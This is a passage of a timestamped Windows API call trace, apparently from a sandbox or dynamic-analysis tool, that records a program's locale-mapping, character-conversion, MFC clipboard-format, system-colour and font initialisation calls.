¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0227.772] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0227.772] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0xc3ecf8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0227.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0xc3f4d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x77\x08\x3b\xc8\x0c\xf7\xc3", lpUsedDefaultChar=0x0) returned 256 [0227.772] GetLastError () returned 0x0 [0227.772] SetLastError (dwErrCode=0x0) [0227.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc3f5d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0227.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xc3f5d0, cbMultiByte=256, lpWideCharStr=0xc3ef28, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ") returned 256 [0227.772] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0227.772] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ", cchSrc=256, lpDestStr=0xc3ed18, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0227.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0xc3f3d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x77\x08\x3b\xc8\x0c\xf7\xc3", lpUsedDefaultChar=0x0) returned 256 [0227.772] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0227.772] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x127b866) returned 0x0 [0227.774] GetCurrentThread () returned 0xfffffffe [0227.774] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0xc3f738, lpExitTime=0xc3f740, lpKernelTime=0xc3f740, lpUserTime=0xc3f740 | out: lpCreationTime=0xc3f738, lpExitTime=0xc3f740, lpKernelTime=0xc3f740, lpUserTime=0xc3f740) returned 1 [0227.774] RtlInitializeSListHead (in: ListHead=0x139a0f8 | out: ListHead=0x139a0f8) [0227.776] GlobalLock (hMem=0xff0004) returned 0xd375d0 [0227.776] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0xd3d608 [0227.776] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0xd3ceb8 [0227.776] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0xd3d778 [0227.776] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0xd3cda0 [0227.777] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc16f [0227.810] RegisterClipboardFormatW (lpszFormat="AFX_WM_DRAW2D") returned 0xc170 [0227.810] RegisterClipboardFormatW (lpszFormat="AFX_WM_RECREATED2DRESOURCES") returned 0xc171 [0227.811] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_AFTER_SHELL_COMMAND") returned 0xc172 [0227.811] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGEVISUALMANAGER") returned 0xc173 [0227.811] GetSystemMetrics (nIndex=11) returned 32 [0227.812] GetSystemMetrics (nIndex=12) returned 32 [0227.812] GetSystemMetrics (nIndex=2) returned 17 [0227.812] GetSystemMetrics (nIndex=3) returned 17 [0227.812] GetDC (hWnd=0x0) returned 0xa0100d0 [0227.812] GetDeviceCaps (hdc=0xa0100d0, index=88) returned 96 [0227.812] GetDeviceCaps (hdc=0xa0100d0, index=90) returned 96 [0227.812] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0227.812] GetSysColor (nIndex=15) returned 0xf0f0f0 [0227.812] GetSysColor (nIndex=16) returned 0xa0a0a0 [0227.812] GetSysColor (nIndex=20) returned 0xffffff [0227.812] GetSysColor (nIndex=18) returned 0x0 [0227.812] GetSysColor (nIndex=6) returned 0x646464 [0227.812] GetSysColorBrush (nIndex=15) returned 0x1100074 [0227.812] GetSysColorBrush (nIndex=6) returned 0x110007c [0227.812] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0227.812] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0227.813] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0227.813] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0227.813] VerifyVersionInfoW (in: lpVersionInformation=0xc3f600, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0xc3f600) returned 1 [0227.813] GetSystemMetrics (nIndex=4096) returned 0 [0227.813] GetSysColor (nIndex=22) returned 0xe3e3e3 [0227.813] GetSysColor (nIndex=21) returned 0x696969 [0227.813] GetWindowDC (hWnd=0x0) returned 0x3010738 [0227.813] LocalAlloc (uFlags=0x40, uBytes=0x54) returned 0xd3a8a8 [0227.813] LocalReAlloc (hMem=0xd3d778, uBytes=0xc, uFlags=0x2) returned 0xd33948 [0227.814] GetDeviceCaps (hdc=0x3010738, index=12) returned 32 [0227.814] GetSysColor (nIndex=15) returned 0xf0f0f0 [0227.814] GetSysColor (nIndex=16) returned 0xa0a0a0 [0227.814] GetSysColor (nIndex=21) returned 0x696969 [0227.814] GetSysColor (nIndex=22) returned 0xe3e3e3 [0227.814] GetSysColor (nIndex=20) returned 0xffffff [0227.814] GetSysColor (nIndex=18) returned 0x0 [0227.814] GetSysColor (nIndex=17) returned 0x6d6d6d [0227.814] GetSysColor (nIndex=6) returned 0x646464 [0227.814] GetSysColor (nIndex=13) returned 0xff9933 [0227.814] GetSysColor (nIndex=14) returned 0xffffff [0227.814] GetSysColor (nIndex=5) returned 0xffffff [0227.814] GetSysColor (nIndex=8) returned 0x0 [0227.814] GetSysColor (nIndex=9) returned 0x0 [0227.814] GetSysColor (nIndex=7) returned 0x0 [0227.814] GetSysColor (nIndex=2) returned 0xd1b499 [0227.814] GetSysColor (nIndex=3) returned 0xdbcdbf [0227.814] GetSysColor (nIndex=27) returned 0xead1b9 [0227.814] GetSysColor (nIndex=28) returned 0xf2e4d7 [0227.814] GetSysColor (nIndex=10) returned 0xb4b4b4 [0227.814] GetSysColor (nIndex=11) returned 0xfcf7f4 [0227.814] GetSysColor (nIndex=19) returned 0x0 [0227.814] GetSysColor (nIndex=26) returned 0xcc6600 [0227.814] GetSysColorBrush (nIndex=16) returned 0x1100075 [0227.814] GetSysColorBrush (nIndex=20) returned 0x1100076 [0227.814] GetSysColorBrush (nIndex=5) returned 0x110007b [0227.814] CreateSolidBrush (color=0xf0f0f0) returned 0x6410054c [0227.814] CreateSolidBrush (color=0xf0f0f0) returned 0x13100546 [0227.815] CreateSolidBrush (color=0xd1b499) returned 0x3e1001bf [0227.815] CreateSolidBrush (color=0xdbcdbf) returned 0xf1001b1 [0227.815] CreateSolidBrush (color=0xff9933) returned 0x491006c0 [0227.815] CreateSolidBrush (color=0x696969) returned 0x3a10068b [0227.815] CreateSolidBrush (color=0xffffff) returned 0x1910071b [0227.815] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0xb300729 [0227.815] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x12300737 [0227.816] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0xf300735 [0227.816] CreateSolidBrush (color=0xf7f7f7) returned 0x5a1006b7 [0227.816] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0227.816] GetWindowDC (hWnd=0x0) returned 0x3010738 [0227.816] GetDeviceCaps (hdc=0x3010738, index=88) returned 96 [0227.816] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xc3f388, fWinIni=0x0 | out: pvParam=0xc3f388) returned 1 [0227.820] GetTextCharsetInfo (in: hdc=0x3010738, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0227.820] lstrcpyW (in: lpString1=0xc3f59c, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0227.820] EnumFontFamiliesW (hdc=0x3010738, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0227.827] lstrcpyW (in: lpString1=0xc3f59c, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0227.827] CreateFontIndirectW (lplf=0xc3f580) returned 0x730a0564 [0227.827] CreateFontIndirectW (lplf=0xc3f580) returned 0x500a069e [0227.827] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xc3f190, fWinIni=0x0 | out: pvParam=0xc3f190) returned 1 [0227.827] CreateFontIndirectW (lplf=0xc3f580) returned 0x6d0a05ec [0227.827] CreateFontIndirectW (lplf=0xc3f580) returned 0xa20a056a [0227.828] CreateFontIndirectW (lplf=0xc3f580) returned 0x560a0707 [0227.828] GetSystemMetrics (nIndex=72) returned 15 [0227.828] lstrcpyW (in: lpString1=0xc3f59c, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0227.828] CreateFontIndirectW (lplf=0xc3f580) returned 0x180a056e [0227.828] GetStockObject (i=17) returned 0x18a0025 [0227.828] GetObjectW (in: h=0x18a0025, c=92, pv=0xc3f580 | out: pv=0xc3f580) returned 92 [0227.828] lstrcpyW (in: lpString1=0xc3f59c, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0227.828] CreateFontIndirectW (lplf=0xc3f580) returned 0x200a072f [0227.828] CreateFontIndirectW (lplf=0xc3f580) returned 0x140a0730 [0227.828] GetStockObject (i=17) returned 0x18a0025 [0227.828] GetObjectW (in: h=0x18a0025, c=92, pv=0xc3f580 | out: pv=0xc3f580) returned 92 [0227.829] CreateFontIndirectW (lplf=0xc3f580) returned 0x3c0a0725 [0227.829] CreateFontIndirectW (lplf=0xc3f580) returned 0x4c0a06be [0227.829] GetWindowDC (hWnd=0x0) returned 0x10105e0 [0227.829] SelectObject (hdc=0x10105e0, h=0x730a0564) returned 0x18a0048 [0227.829] GetTextMetricsW (in: hdc=0x10105e0, lptm=0xc3f104 | out: lptm=0xc3f104) returned 1 [0227.829] SelectObject (hdc=0x10105e0, h=0x200a072f) returned 0x730a0564 [0227.829] GetTextMetricsW (in: hdc=0x10105e0, lptm=0xc3f104 | out: lptm=0xc3f104) returned 1 [0227.829] SelectObject (hdc=0x10105e0, h=0x18a0048) returned 0x200a072f [0227.830] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0227.830] DeleteObject (ho=0x18a0025) returned 1 [0227.830] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0227.830] GetSystemMetrics (nIndex=49) returned 16 [0227.830] GetSystemMetrics (nIndex=50) returned 16 [0227.830] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0227.830] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0227.830] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xc3f518 | out: lpmi=0xc3f518) returned 1 [0227.830] CopyRect (in: lprcDst=0xc3f540, lprcSrc=0xc3f52c | out: lprcDst=0xc3f540) returned 1 [0227.830] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0227.830] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0227.830] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_POPUPMENU") returned 0xc174 [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZE") returned 0xc175 [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CREATE") returned 0xc176 [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_DELETE") returned 0xc177 [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZEHELP") returned 0xc178 [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETTOOLBAR") returned 0xc179 [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETMENU") returned 0xc17a [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_SHOWREGULARMENU") returned 0xc17b [0227.831] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETCONTEXTMENU") returned 0xc17c [0227.831] 